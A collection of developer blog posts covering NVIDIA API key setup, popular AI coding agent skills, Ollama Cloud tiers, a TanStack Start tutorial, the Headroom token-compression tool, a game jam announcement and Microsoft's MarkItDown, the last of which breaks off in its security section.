nvapi-xxxxxxxxxxxxxxxx

You get 1,000 free inference credits on signup, with up to 5,000 available on request, and a rate limit of 40 requests per minute. No credit card required.

Use the API key with Cursor

Read about some of the issues with Cursor.

In Cursor, go to Settings → Models, enable the OpenAI API key toggle, paste https://integrate.api.nvidia.com/v1 as the override base URL, and add your nvapi- key.

Use the API key with Cline

Setup takes under two minutes:

Install Cline from the VS Code or Cursor Marketplace
Open Cline settings and select OpenAI Compatible as the provider
Set the base URL to https://integrate.api.nvidia.com/v1
Paste your nvapi- key
Enter the model ID from the NVIDIA catalog (e.g. moonshotai/kimi-k2.6). Remember to get an API key for the model.

The most popular AI coding skills right now

Erik Hanchett — Mon, 15 Jun 2026 17:04:07 GMT

Introduction

It's crazy to me that some GitHub repos, that were just created in the last year, have more stars then some of the most popular programming frameworks out there. At the time of writing, Superpowers, is around 226,000, ahead of the Vue repo and way ahead of Next.js. A separate repo based on Andrej Karpathy's coding advice has 174,000. And they aren't even code. They're folders of markdown files that tell your AI coding agent how to write software better.

In other words these are agent skills, and they've blown up over the past year into one of the most-starred new categories of developer tooling. The format started at Anthropic, a SKILL.md file with a short description and a set of instructions, and now it works in Claude Code, Kiro and all your other favorite coding agents.

This post is a tour of some of the skills I find most interesting that people are using everyday. I'll be in Kiro for most of this, but these run in whatever agent you already have, with install paths that vary per agent.

This post covers:

What an agent skill actually is
The big workflow skills (Superpowers, Karpathy, Matt Pocock, GStack, GSD)
Framework skills and the "ships with your package" model
The Agent Toolkit for AWS
How to pick one and try it safely

If you like, you can watch a full video on the subject instead! Also if nothing else, please check out the Agent Toolkit for AWS! More information below. Full disclosure, I'm a developer advocate for AWS

What is an agent skill?

A skill is a directory with a SKILL.md file inside it. The file has a name, a one-line description, and instructions. These instructions include which steps to follow, which APIs to call, which mistakes to avoid and how to check the result.

Skills should only run when needed. Your agent reads the short description, decides if the skill is relevant to what you asked, and only then loads the full instructions. Reference files load on demand after that. So you can have fifty skills installed and your context window stays clean, because the agent pulls in the two it needs and ignores the rest. In practice, I've found I still need to manually tell my agent to run the skills by using the / command and the skill name. YMMV

The big workflow skills

Most of the popular general-purpose skills are trying to fix the problem agents often have, going in the wrong direction. Agents when left alone often rush in, touch too many files, and they skip planning. These five take different approaches to slowing it down.

Superpowers (obra/superpowers)

Superpowers is the most-starred of the bunch and the most opinionated. It is a full development methodology that triggers automatically. It really reminds me of a super powered Spec-Driven Development (SDD) workflow.

The moment the agent sees you are building something, it stops and asks what you are actually trying to do. It works a spec out of the conversation, shows it to you (optionally in a web browser), and only after you sign off does it write an implementation plan. Then it hands the plan to subagents that build and review each other's work. Be aware, this can eat up a lot of tokens.

It is available through the official Claude plugin marketplace, plus Codex, Cursor, Gemini CLI, and a handful of others. You can also get it working with Kiro by from Skills.sh. Though, I'd probably skip it if you're using Kiro, since most of the SDD is already there in Kiro.

If you want one system that owns the whole loop from idea to reviewed code, this is the one to reach for. In Claude Code, install it from the official plugin marketplace:

/plugin install superpowers@claude-plugins-official

The Karpathy guidelines (multica-ai/andrej-karpathy-skills)

This one is almost the opposite. It is a short file of behavioral rules, now at 174,000 stars. Andrej Karpathy did not write it, despite the name, which I find really funny. It is a community-built file derived from a January post where Karpathy listed the ways LLM coding agents tend to fail, and the repo later moved to the multica-ai org.

The rules come down to four simple ideas. Think before coding, keep it simple, make surgical changes, and stay focused on the goal. If Superpowers feels like too much process for you, this is the low-commitment starting point. It is a single CLAUDE.md (or AGENTS.md, or you can use it as a Skill), so the simplest install is to drop it into your project:

curl -o CLAUDE.md https://raw.githubusercontent.com/multica-ai/andrej-karpathy-skills/main/CLAUDE.md

Personally, I'm not sure if this is worth it in my own testing. However, it's easy enough to add it to your own CLAUDE.md or AGENTS.md so give it a shot though and make your own opinion.

Matt Pocock's skills (mattpocock/skills)

Matt Pocock's collection sits in the middle and takes a deliberate stance against the all-in-one systems. In fact, he's often said he doesn't like SDD, and thinks it's too cumbersome. His framing is that approaches which own your entire process also take away your control and make bugs in that process hard to fix. So his skills are small, composable, and easy to adapt. You install the ones you want with the Vercel skills CLI:

npx skills@latest add mattpocock/skills

His most popular one, and the one I like the most, is the grill-me, which makes the agent interview you about what you are building before it writes anything. There is a more powerful version, grill-with-docs, that does the same interview and also builds a shared-language document for your project. The repo's pitch is that this shared-language document pays off across sessions. There is also tdd for a red-green-refactor loop, diagnose for debugging, and improve-codebase-architecture for rescuing a project that has turned into spaghetti.

Another skill called caveman helps reduce token costs. I find the caveman and grill-me skills the most useful. Though, I find grill-me a little annoying after a while, when I just want to get something done.

GStack (garrytan/gstack)

GStack is Garry Tan's Claude Code setup, and at nearly 110,000 stars it is one of the most popular skill collections out there. Instead of one mode that handles everything, it gives the agent distinct roles, each behind its own slash command. It has product vision, designer, engineering manager, release manager, doc engineer, QA, and post-launch retrospective. It is the same genre as Superpowers, a full workflow, but organized around the roles on a software team rather than a sequence of phases. If you think in terms of "who would handle this part," GStack maps to that mental model nicely. It installs with a clone and a setup script (pass --host kiro, --host cursor, and so on for other agents):

git clone --single-branch --depth 1 https://github.com/garrytan/gstack.git ~/.claude/skills/gstack
cd ~/.claude/skills/gstack && ./setup

It also works with Kiro nicely.

GSD Core (open-gsd/gsd-core)

GSD Core (Git. Ship. Done.) is a spec-driven system that pitches itself as a fix for context rot, the slow drop in quality as your context window fills up during a long session. It breaks work into atomic plans that run in fresh context windows, keeping the main session light while subagents do the heavy lifting. It targets more than a dozen agents. The project moved from the old gsd-build org to its current home at open-gsd/gsd-core, and the installer prompts for your runtime:

npx @opengsd/gsd-core@latest

While using this, I found that it burned through tokens fast. It also takes over your whole workflow, that I disliked. Still, it's worth trying out to see if it works well for your own personal projects.

Framework skills and the "ships with your package" model

The skills above are framework-agnostic. The more interesting development for frontend folks is skills that know your specific stack.

The Vue community moved early here. vuejs-ai/skills is a community Vue 3 skills project (the README notes the author may propose transferring it to the Vue org), and its vue-best-practices skill is a structured workflow covering the Composition API, reactivity, and the patterns you want a model to follow. Anthony Fu's collection covers Vue, Vite, Nuxt, Pinia, VueUse, and Vitest. Both install through the same CLI:

npx skills add vuejs-ai/skills
npx skills add antfu/skills --skill='*'

The newer idea is shipping skills inside the package itself. Three things are worth knowing:

skilld generates version-aware skills from the npm dependencies you already have, pulling from docs, release notes, and GitHub issues. It solves the problem where a model's training cutoff means it writes last year's version of your library.
TanStack Intent (@tanstack/intent) flips that around for maintainers. It lets library authors generate and ship SKILL.md files inside their npm package, versioned with each release, so the skill updates when the library does. It launched recently and ties straight into the TanStack ecosystem.
The Vercel skills CLI is the npx skills tool that installs any of this across 70-plus agents. If you use Kiro, it loads skills from .kiro/skills/ automatically with no config, which makes it an easy way to try things on camera or in a real project.

Here is each of those three:

# Generate version-aware skills from your installed npm dependencies
npx -y skilld

# Library maintainers: scaffold SKILL.md files inside your own package
npx @tanstack/intent scaffold

# The universal installer used throughout this post — pattern is `npx skills add <owner/repo>`
npx skills add vercel-labs/skills

The Agent Toolkit for AWS

AWS ships skills too, in the same open format, so they run in Kiro, Claude Code, Cursor, and Codex.

The Agent Toolkit for AWS was announced in May 2026 and is the officially supported way to bring AWS expertise into your agent. It pairs plugins for Claude Code and Codex with a curated collection of skills and the AWS MCP Server, which reached general availability on May 6, 2026. The toolkit covers areas like deployment, serverless, and database work. Setup is per-agent. In Kiro you add the AWS MCP Server through your MCP config and then pull in skills with npx skills:

# Install AWS-curated skills via the universal CLI
npx skills add aws/agent-toolkit-for-aws/skills

If you are building on AWS, you should download this. Even if you are not using AWS I would download it for the future. Because with this the agent loads service-specific guidance instead of guessing at an API it half-remembers from training.

How to pick one and try it safely

Personally, I would use Matt Pococks skills and try out one of the other larger skill workflows like Superpowers. See if it works for you. Then pair it with a framework specific skills as well.

Last thing, and it matters. A skill is instructions you are dropping into your agent's context, so treat it the way you treat an npm dependency. Read the SKILL.md before you install it. A repo with 100,000 stars is popular, but stars are a popularity signal, not a quality review. Skim the file, see what it tells your agent to do, and keep the ones that match how you actually work.

Conclusion

Agent skills went from a quiet Anthropic format to repos with more stars than the frameworks we build on, and it makes sense why. They take the patterns a good engineer carries in their head and hand them to the model at the start of every task. The big workflow skills give you structure while the framework skills give you correctness, and the AWS plugins give you service-specific knowledge you would otherwise paste in by hand.

My advice: install one, read what it actually tells the agent, and see if the output matches how you'd have built it yourself. That's the real test, and it's the one only you can run. If you want to see these in action, I walk through them in the companion video.

Ollama Cloud Free vs Pro — Usage Limits, Pricing & What You Actually Get (2026)

Amaresh Pelleti — Thu, 11 Jun 2026 00:39:50 GMT

Originally published on DevToolHub, where I keep this guide updated every time Ollama revises its limits.

Ollama Cloud is one of the most searched topics in the local AI space right now — and the number one question is always the same: what do you actually get on the free tier, and is Pro worth paying for?

This guide covers the plan limits, how usage is actually measured (it's not tokens), and when upgrading makes sense. All data is pulled from the official Ollama pricing page.

What Ollama Cloud is

Ollama Cloud is a managed inference service that runs large open-source models on Ollama's datacenter GPUs — no local GPU required. The key advantage: your existing local Ollama setup works identically with cloud models. No code rewrites, no new SDKs. Just point at a cloud model and run:

ollama run gpt-oss:120b-cloud

Same CLI, same OpenAI-compatible API, different hardware.

The three tiers

	Free	Pro	Max
Price	$0	$20/mo ($200/yr)	$100/mo
Cloud usage	Base quota	~50x Free	Highest
Concurrent cloud models	Limited	3 at a time	More <!-- CHECK exact number against your live post -->
Model access	Lighter cloud models	Full catalog	Full catalog + priority

Running models on your own hardware is always unlimited — the plans only govern cloud usage.

How usage is actually measured (most posts get this wrong)

Ollama doesn't cap you at a fixed number of tokens or requests. Usage reflects actual utilization of their cloud infrastructure — primarily GPU time, which depends on model size and request duration. Two things follow from that:

Limits reset on two clocks: session limits reset every 5 hours, weekly limits reset every 7 days.
Heavier models burn quota faster. Models are grouped into usage levels from level 1 (light models like gpt-oss:20b) up to level 4 (extra-heavy models like deepseek-v4-pro).

Practical tip: on the Free tier, stick to level 1 and level 2 models to stretch your quota. Shorter prompts and prompts that share cached context also consume less.

Concurrency and queueing

Requests beyond your plan's concurrency limit are queued and processed when a slot opens. The queue itself has a fixed depth — if it's full, requests are rejected until a slot frees up. This is the main reason production agent workloads end up on Max: it's about sustained concurrent access, not just raw quota.

Privacy

Prompt and response data is never logged or trained on, and Ollama requires zero-data-retention policies from its hosting partners. Worth knowing if you're considering cloud inference for work data.

So which tier should you pick?

Free — genuinely useful for experimenting with large models you can't fit locally. Stay on level 1–2 models.
Pro ($20/mo) — the right call for daily engineering work. Full catalog, 3 concurrent cloud models, enough quota that most individual developers never hit the wall.
Max ($100/mo) — for production agent and RAG workloads that need sustained, concurrent access to the heaviest models.

And if you'd rather own the hardware: a GPU droplet running self-hosted Ollama flips the economics once your usage is steady — I break down that setup separately.

One warning

Ollama has revised its cloud quotas more than once since launch. I keep the original post on DevToolHub updated against the official pricing page every time the limits change — bookmark that one if you want current numbers.

I write hands-on DevOps and self-hosted AI guides at devtoolhub.com. Questions about your specific workload? Drop a comment.

TanStack Start Is Kind of a Big Deal

Erik Hanchett — Mon, 08 Jun 2026 17:06:43 GMT

Introduction

People keep telling me TanStack Start is kind of a big deal, and I wanted to know if that holds up or not. I've been spending a lot of time at conferences lately, and TanStack Start comes up quite often in conversation. The community is split if server components is the right answer. TanStack Start has gone the opposite direction with it's clean client-side first components approach, with lot so ways to call server-side code, even in the same component.

I'm a Vue and Nuxt person most days, so I'm not here to dunk on anyone's framework. What I want to figure out is simpler: are there specific things TanStack Start does that Next.js and Nuxt don't, and are they good enough to switch for?

After some research I have come up with three things I really like about TanStack Start. These things alone aren't probably enough for me to switch, but I'm getting close.

If you'd like to watch a video instead, check this out!

Prerequisites

Node.js 22+
Comfort with React and TypeScript
You do not need any Next.js or TanStack experience

What we're building

A GitHub user lookup. You type a username, the app fetches that user from the GitHub API on the server, and renders their profile. It's a perfect app to show these three features.

You can find the full code in the demo repo. Let's start by creating the app.

Step 1: Create the app

TanStack has a CLI, so scaffolding is one command:

npx @tanstack/cli@latest create my-app --framework React

It asks about a package manager and a few add-ons, then sets up a project on Vite with file-based routing. Run it:

cd my-app
npm install
npm run dev

The dev server was ready in under a second on my machine. That Vite-powered startup is really nice, and it's the same Vite speed I covered in my earlier Vite videos.

The structure is small:

src/
├── routes/
│   ├── __root.tsx      # the document shell
│   └── index.tsx       # the home route
├── router.tsx          # router config
└── routeTree.gen.ts    # auto-generated, don't edit

Now the three features.

Feature 1: One server function for reads and writes

Let me be fair up front, Next.js can also call server code directly. Next has React Server Functions, and in mutation contexts those are Server Actions. You mark a function with "use server" and call it from a component, no API route required. Nuxt has its own version with server/api routes plus useFetch, which gives you typed responses too. So "call a function on the server" is not unique.

However, the difference is the constraint. Next.js Server Actions run as POST requests and are built for mutations. The Next docs themselves steer you to Server Components or Route Handlers for reading data. You can call a Server Action from a client component to read, but it still goes over POST and isn't the idiomatic, cacheable GET path.

TanStack Start doesn't split it this way. One primitive, createServerFn, handles both a GET read and a POST mutation, and you call it the same way from anywhere.

import { createServerFn } from '@tanstack/react-start'

interface GithubUser {
  login: string
  name: string | null
  avatar_url: string
  html_url: string
  bio: string | null
  public_repos: number
  followers: number
  following: number
}

const getGithubUser = createServerFn({ method: 'GET' })
  .inputValidator((username: string) => username)
  .handler(async ({ data: username }): Promise<GithubUser> => {
    const res = await fetch(`https://api.github.com/users/${username}`, {
      headers: {
        Accept: 'application/vnd.github+json',
        // a token here stays on the server, never ships to the client:
        // Authorization: `Bearer ${process.env.GITHUB_TOKEN}`,
      },
    })
    if (!res.ok) throw new Error(`User "${username}" not found`)
    return (await res.json()) as GithubUser
  })

That .handler runs only on the server, so a token never reaches the browser. I set method: 'GET' because this is a read, and I call it straight from my route loader like a normal async function. There is no route handler, or RSC boundary to think about and no endpoint string to keep in sync. (This snippet is trimmed for clarity. The version in the repo adds encodeURIComponent on the input and separate handling for 404 and 403 rate-limit responses.)

You can watch this happen in the browser too. Open the network tab, run a lookup, and you won't see a request to api.github.com anywhere. The only call is the one to my own server. The GitHub fetch is happening server-side, which is exactly where I want it, and any token isn't leaked.

I really like how types work here. I annotate the handler's return as GithubUser once, and that type flows through the loader and into the component without me re-typing it at each call, and that holds whether it's a GET or a POST. Rename a field in the interface and every call that still reads the old property lights up red. (One caveat, that's compile-time propagation, not runtime validation. I cast the GitHub response with as GithubUser, so if you want to prove the external JSON actually matches, you'd add a runtime schema check.) You can get there with a route handler too, with shared types or a schema validator. The difference is that TanStack infers the chain for you by default instead of asking you to wire it up.

Feature 2: Search params that are actually typed

This is the one where TanStack genuinely has an advantage as of today. Next.js gives you generic string and string-array search params, not route-local schema validation. useSearchParams hands you a read-only URLSearchParams, and while typedRoutes plus the PageProps helper have improved path, navigation, and page-prop typing, none of that validates or transforms the values inside the query string the way TanStack Router does. You can get there in Next with Zod, nuqs, or next-typesafe-url, but it's something you add on. Nuxt can validate a route with definePageMeta's validate function, which can return false or a Partial<NuxtError> to reject a route, but it doesn't turn route.query into a typed, validated query object for your component.

TanStack Router treats search params as validated route state out of the box:

export const Route = createFileRoute('/')({
  validateSearch: (search): { user: string } => ({
    user: typeof search.user === 'string' ? search.user : '',
  }),
  loaderDeps: ({ search: { user } }) => ({ user }),
  loader: async ({ deps: { user } }) => {
    if (!user) return { user: null, error: null }
    return { user: await getGithubUser({ data: user }), error: null }
  },
  component: Home,
})

I validate ?user= once. After that, Route.useSearch() gives me { user: string }, fully typed, anywhere in the component. The loader reads that param and runs the server function, so loading the page with ?user=ErikCH in the URL loads the profile directly, with no extra client wiring. The lookup is shareable and survives a refresh, and I never wrote client state to make that happen. You can plug in Zod if you want richer schemas.

Feature 3: Type safety that runs end to end by default

Typed navigation by itself isn't unique, and I want to be straight about that. Next.js has typedRoutes for statically typed links, and Nuxt has typed navigation built in through experimental.typedPages, plus the nuxt-typed-router module for more. So all three can stop you from typoing a route.

The difference is how far the chain reaches and how much setup it takes. Next's typedRoutes types the path, not the search param values. Nuxt's typed pages are opt-in and cover routes and params. In TanStack it's on by default, and the same type system covers your route params, your search params, and your loader data in one connected chain.

const navigate = useNavigate({ from: Route.fullPath })

function lookup(e: React.FormEvent) {
  e.preventDefault()
  navigate({ search: { user: input.trim() } })  // typed: { user: string }
}

If I pass a search param that doesn't exist, or the wrong type, the type checker flags it. Vite itself transpiles TypeScript without type checking, so this is tsc --noEmit (I keep it in a typecheck script and run it in CI) or your editor catching it inline. And because the loader's return type flows into Route.useLoaderData(), the data I render is typed by the same chain that typed the navigation. That whole path, from the server function return through the loader, the search params, and the link, is one thing instead of three features you wire up separately.

Adding in AI

I lean on AI coding assistants like Kiro for a lot of my code, and TanStack Start is new enough that the models don't have great knowledge on it. When I asked for a server function, I'd sometimes get an older API shape back, because the training data is behind.

TanStack ships a fix for exactly this, and it's the last thing I showed in the video. There's a package called TanStack Intent that wires your coding agent into current TanStack patterns. You install it like this:

npx @tanstack/intent@latest install

That creates or updates your agent config, defaulting to AGENTS.md (it can target others like CLAUDE.md or .cursorrules too), with skill-loading instructions. Your agent reads it, sees which TanStack skills are available, and pulls the current docs for whatever it's working on instead of guessing from stale training data.

So I opened Kiro CLI, which picks up that AGENTS.md on its own, and gave it this:

Please review my existing repository against the newly loaded TanStack Intent rules. Check my implementation for anti-patterns, missing edge cases, or deprecated syntax.

It worked through the skills and came back with a list, a couple of verbatimModuleSyntax notes, some dev-tools setup for TanStack Start, a shell component thing. One last thing, I wasn't pinning the latest version tags in my package.json. Though not really required all the time, I did like how it was looking at the package.json file in general.

The second guardrail is the type safety from earlier. When the AI guessed an old createServerFn shape, tsc and my editor flagged it right away. I didn't have to catch it in review. The types caught it for me.

This is the same point I made in my Vue in the Age of AI video. AI writes more of our code now, so the frameworks that verify the AI's work for you are worth more than they used to be.

Cleanup

Nothing to tear down for local development. Stop the dev server with Ctrl+C. If you deployed, TanStack Start uses Nitro under the hood, so you can remove whatever Node target you set up. Those hosting resources can incur charges, so tear them down if you were only testing.

Conclusion

So is it kind of a big deal? I'd put it this way. If you want explicit control, fast Vite builds, and type safety that runs from the server function through search params to your links, TanStack Start is genuinely the most compelling React framework I've tried in a while. The server functions and typed search params alone are just really nice to have.

It's not for everyone yet. The ecosystem is smaller than Next.js, there are fewer plugins and it's young. The TanStack CLI is still marked alpha, there are fewer production references to learn from, and the deployment and debugging knowledge isn't as standardized as Next.js. If you need the hiring pool and the deployment story Next.js has, that's a real reason to wait.

But "the default React framework is finally in question" is true for the first time in years, and after building with it, I get why people are switching. If you're a Nuxt person like me, the typed search params and server functions will feel like the things you wish you had without reaching for extra modules.

Resources:

Headroom: Cut Your LLM Token Usage by Up to 95% Without Changing Your Answers

ArshTechPro — Thu, 04 Jun 2026 09:15:08 GMT

If you're building AI agents or running LLM pipelines in production, you already know the pain: tool outputs, logs, RAG chunks, and conversation history pile up fast. Before you know it, you're burning through tokens at a rate that makes your billing dashboard uncomfortable to look at.

Headroom is an open-source project that tackles this problem directly. It compresses everything your AI agent reads — before it ever reaches the LLM — and claims 60–95% token reduction on real workloads, with accuracy preserved.

The Core Idea

Headroom sits as a layer between your application and the LLM provider. It takes whatever your agent was about to send — a stack of tool call results, a long log file, a RAG retrieval dump — and compresses it using one of several strategies depending on the content type:

SmartCrusher handles JSON (arrays, nested objects, mixed types)
CodeCompressor uses AST-aware compression for Python, JS, Go, Rust, Java, and C++
Kompress-base is a HuggingFace model trained on agentic traces, for prose and text
CacheAligner stabilizes prompt prefixes so provider KV caches actually hit consistently
CCR (Content-Compressed Retrieval) stores originals locally and lets the LLM fetch them on demand — so compression is fully reversible

A ContentRouter figures out what kind of content it's looking at and picks the right compressor automatically. You don't have to think about it.

The key thing: originals are never deleted. If the LLM needs the full version of something, it can retrieve it. Compression is lossless in that sense.

Real Numbers

These are the token counts from the project's benchmarks on real agent workloads:

Workload	Before	After	Savings
Code search (100 results)	17,765	1,408	92%
SRE incident debugging	65,694	5,118	92%
GitHub issue triage	54,174	14,761	73%
Codebase exploration	78,502	41,254	47%

On accuracy benchmarks (GSM8K math, TruthfulQA, SQuAD v2, BFCL tool-use), scores hold steady or slightly improve after compression. The intuition is that stripping noise helps the model focus on the signal.

You can reproduce these yourself with:

python -m headroom.evals suite --tier 1

Setup: Three Ways to Use It

Headroom gives you three integration modes. Pick whichever fits how you work.

Option 1: Wrap an existing agent (zero code changes)

pip install "headroom-ai[all]"
headroom wrap claude

That's it. Headroom intercepts traffic from Claude Code, Codex, Cursor, Aider, or Copilot CLI automatically. You don't touch your existing code at all.

Option 2: Drop-in proxy

Run Headroom as a local proxy on any port:

headroom proxy --port 8787

Then point your existing OpenAI/Anthropic SDK calls at localhost:8787 instead of the provider URL. Any language, any framework — no code changes needed beyond updating the base URL.

Option 3: Inline library

For finer control, use it directly in Python or TypeScript:

Python:

from headroom import compress

messages = [{"role": "user", "content": your_giant_tool_output}]
compressed = compress(messages, model="claude-opus-4-6")
# compressed has the same structure, far fewer tokens

TypeScript:

import { compress } from "headroom-ai";

const compressed = await compress(messages, { model: "claude-opus-4-6" });

With the Anthropic SDK directly:

from anthropic import Anthropic
from headroom import withHeadroom

client = withHeadroom(Anthropic())
# Use client exactly like normal — compression happens automatically

With LangChain:

from headroom.integrations.langchain import HeadroomChatModel

llm = HeadroomChatModel(your_existing_llm)

With Vercel AI SDK:

import { wrapLanguageModel } from "ai";
import { headroomMiddleware } from "headroom-ai";

const model = wrapLanguageModel({
  model: yourModel,
  middleware: headroomMiddleware(),
});

Requires Python 3.10+. For Node/TypeScript: npm install headroom-ai.

MCP Server Mode

If you're using an MCP client (Claude Desktop, etc.), you can install Headroom as an MCP server:

headroom mcp install

This exposes three MCP tools: headroom_compress, headroom_retrieve, and headroom_stats. Your AI agent can call them directly as part of its tool loop.

Cross-Agent Memory

One underrated feature: shared memory across agents. If you're running Claude and Codex side by side, Headroom can give them a common compressed context store with automatic deduplication.

from headroom.memory import SharedContext

ctx = SharedContext()
ctx.put("current_task", task_description)

# In a different agent's session
task = ctx.get("current_task")

This is useful in multi-agent pipelines where you'd otherwise be passing the same context repeatedly.

headroom learn

There's also a headroom learn command that mines failed agent sessions and writes corrections back to CLAUDE.md, AGENTS.md, or GEMINI.md. The idea is that your agent accumulates a record of what went wrong and avoids repeating the same mistakes.

headroom learn

It parses session logs, extracts failure patterns, and appends structured learnings to your project's agent config files.

Check Your Savings

After using Headroom for a while:

headroom stats

This shows you cumulative compression ratios, tokens saved, and per-content-type breakdowns.

Is It Worth Trying?

Yes, if you:

Run AI coding agents (Claude Code, Cursor, Codex, Aider) regularly and pay for tokens
Build pipelines where tool outputs and RAG chunks are large and repetitive
Want cross-agent shared memory without building it yourself
Need reversible compression — Headroom never discards originals

Skip it, or approach carefully, if you:

Only use a single provider's built-in context management and don't need more
Work in sandboxed or restricted environments where running a local process is an issue
Are on a very simple single-turn setup where context bloat isn't a real problem yet

Quick Reference

# Install
pip install "headroom-ai[all]"
npm install headroom-ai

# Wrap an agent
headroom wrap claude

# Run as proxy
headroom proxy --port 8787

# Install as MCP server
headroom mcp install

# Check savings
headroom stats

# Learn from failures
headroom learn

GitHub: chopratejas/headroom

Join the June Solstice Game Jam: $1,000 in prizes!

Jess Lee — Wed, 03 Jun 2026 20:22:10 GMT

Winners Announced!

Jess Lee for The DEV Team

Jul 9

Congrats to the June Solstice Game Jam Winners!

#devchallenge #gamechallenge #gamedev

2 min read

We're excited to kick off the June Solstice Game Jam, running from June 3 through June 21 and ending right on the solstice itself!

Whether you're in the northern hemisphere marking the longest day of the year or in the southern hemisphere observing the shortest, the solstice is a global moment of transition. June is also a profound month for identity, history and community in the U.S. and across the world.

We are celebrating authenticity and LGBTQIA+ history with Pride month, which also happens to be the birth month of Alan Turing – the famous computer scientist behind the “Turing Test” for artificial intelligence who was persecuted for being gay. June also marks Juneteenth, a day to celebrate an important milestone towards the freedom and liberation of Black Americans. It’s a time dedicated to reflection, honoring resilience, and amplifying Black joy.

But June isn't only about deep history! This month brings the electric teamwork and high stakes of the World Cup, bringing the entire planet together in the spirit of play. And if sports aren't your thing, June also serves up delightfully specific celebrations like International Sushi Day and National Flip-Flop Day.

Whether you want to build something deeply meaningful or delightfully goofy, this jam is your canvas. We’ve got some great prizes for five lucky winners.

Let's get to it.

Our Prompt

The June solstice arrives on June 21 — the longest day of the year for half the world, and the shortest for the other half. Build a game inspired by the solstice or any other June celebration: think Pride, Juneteenth, light and darkness, the passage of time, and anything else that comes to mind.

Our theme is intentionally broad to allow room for your creativity to shine. Please interpret this prompt however you'd like. A platformer where daylight is your resource? A puzzle game that resets at midnight? A narrative about reaching a turning point? Any angle is fair game!

Additional Prize Categories

Best Ode to Alan Turing: We're thinking algorithms, code breaking, and artificial intelligence. Honor the father of modern computing in your game's mechanics, narrative, or design.
Best Google AI Usage: Tell us how you leveraged Google AI for this submission. Did you build with Antigravity, experiment in Google AI Studio, or use the Gemini CLI? Or is there a Google AI product embedded in your build such as the Gemini API or any Google Cloud product such as Cloud Run? Tell us all about your experience!

Judging Criteria

All submissions will be judged on the following:

Relevance to Theme: Does the game clearly connect to the June solstice or celebration themes?
Creativity: Is the concept original or is it an interesting take on a familiar idea?
Technical Execution: Is the game functional, well-built, and playable?
Writing Quality: Is the submission post clearly written and engaging?
Use of Prize Category (optional): If pursuing a prize category, does the submission meaningfully engage with it?

Prizes

We’ll select three winners for the overall prompt, and one winner for each additional prize category. Our five total winners will each receive:

$200 USD
DEV++ Membership
Exclusive DEV Badge

All participants with a valid submission will receive a completion badge.

How To Participate

Build a game and publish a post on DEV using the submission template below. Your post should include a demo video of your game and provide an overview of how you built it.

June Solstice Game Jam Submission Template

Please review our judging criteria, rules, guidelines, and FAQ page before submitting so you understand our participation guidelines and official contest rules such as eligibility requirements.

Important Dates

June 3: June Solstice Game Jam begins!
June 21: Submissions due at 11:59 PM PDT
July 9: Winners Announced

Questions about the challenge? Drop them in the comments below.

Good luck and happy building!

MarkItDown: Microsoft's Tool for Converting Almost Anything to Markdown

ArshTechPro — Fri, 29 May 2026 14:50:33 GMT

If you've been building LLM-powered applications, you've likely run into the same problem: your data lives in PDFs, Word documents, Excel sheets, and PowerPoint decks — but your AI pipeline expects clean text. Copy-pasting doesn't scale, and most conversion tools either strip too much structure or produce noisy output.

Microsoft's MarkItDown is built specifically for this gap. It's a lightweight Python utility that converts a wide range of file formats into Markdown, preserving the structure that matters: headings, tables, lists, and links.

What Is MarkItDown?

MarkItDown is a Python library (and CLI tool) that converts files and documents into Markdown. It is not designed for pixel-perfect human-readable output. The explicit goal is to feed text into LLMs and text analysis pipelines — and Markdown is the right format for that because most large language models understand it natively and it is highly token-efficient.

Supported formats include:

PDF
Word (.docx)
PowerPoint (.pptx)
Excel (.xlsx and older .xls)
Images (EXIF metadata + optional OCR)
Audio files (EXIF metadata + optional speech transcription)
HTML
CSV, JSON, XML
ZIP files (iterates and converts contents)
YouTube URLs (fetches transcription)
EPubs

That's a broad surface area for one library.

Installation

You need Python 3.10 or higher. The simplest way to get everything:

pip install 'markitdown[all]'

The [all] flag installs all optional dependencies for every supported format. If you want a leaner install, you can pick specific formats:

pip install 'markitdown[pdf,docx,pptx]'

Available optional extras: pdf, docx, pptx, xlsx, xls, outlook, audio-transcription, youtube-transcription, az-doc-intel.

It is recommended to work inside a virtual environment:

python -m venv .venv
source .venv/bin/activate
pip install 'markitdown[all]'

Using the CLI

The command-line interface is straightforward:

# Convert a file and print to stdout
markitdown report.pdf

# Save output to a file
markitdown report.pdf -o report.md

# Pipe input
cat report.pdf | markitdown

That's it. No configuration required for basic use.

Using the Python API

For programmatic use in your pipeline:

from markitdown import MarkItDown

md = MarkItDown(enable_plugins=False)
result = md.convert("financials.xlsx")
print(result.text_content)

The result.text_content attribute holds the converted Markdown string.

Converting Different File Types

from markitdown import MarkItDown

md = MarkItDown()

# Word document
result = md.convert("proposal.docx")

# PowerPoint deck
result = md.convert("slides.pptx")

# CSV file
result = md.convert("data.csv")

# HTML file
result = md.convert("page.html")

print(result.text_content)

The API is consistent regardless of file type. You call .convert() and get back a result object.

LLM-Powered Image Descriptions

If you pass an image file (or a PowerPoint with images), MarkItDown can call an LLM to generate descriptions for those images, which then become part of the Markdown output. You supply your own client:

from markitdown import MarkItDown
from openai import OpenAI

client = OpenAI()
md = MarkItDown(llm_client=client, llm_model="gpt-4o")

result = md.convert("diagram.jpg")
print(result.text_content)

This is useful when the actual visual content of an image matters for downstream processing, not just the file metadata.

OCR Support via Plugin

For PDFs and Office documents that contain images with embedded text (scanned documents, screenshots inside slides), MarkItDown supports a separate OCR plugin:

pip install markitdown-ocr
pip install openai

from markitdown import MarkItDown
from openai import OpenAI

md = MarkItDown(
    enable_plugins=True,
    llm_client=OpenAI(),
    llm_model="gpt-4o",
)
result = md.convert("scanned_report.pdf")
print(result.text_content)

The OCR plugin uses the same LLM vision pattern as image descriptions — no separate ML libraries or binaries are required.

Azure Document Intelligence

For enterprise-grade document parsing (better table extraction, form recognition), MarkItDown integrates with Azure Document Intelligence:

# CLI
markitdown report.pdf -o report.md -d -e "<your_endpoint>"

from markitdown import MarkItDown

md = MarkItDown(docintel_endpoint="<your_endpoint>")
result = md.convert("complex_form.pdf")
print(result.text_content)

This is the right path if you are processing complex financial documents, legal contracts, or forms where structure accuracy is critical.

Running with Docker

If you prefer containerized workflows:

docker build -t markitdown:latest .
docker run --rm -i markitdown:latest < your-file.pdf > output.md

Plugin Ecosystem

MarkItDown supports third-party plugins. They are disabled by default.

# List installed plugins
markitdown --list-plugins

# Enable plugins for a conversion
markitdown --use-plugins path-to-file.pdf

To find community plugins, search GitHub for #markitdown-plugin.

Security Considerations

One thing worth knowing before you integrate this into a server-side application: MarkItDown runs with the privileges of the current process. It can access local files and remote URIs the same way open() or requests.get() can.

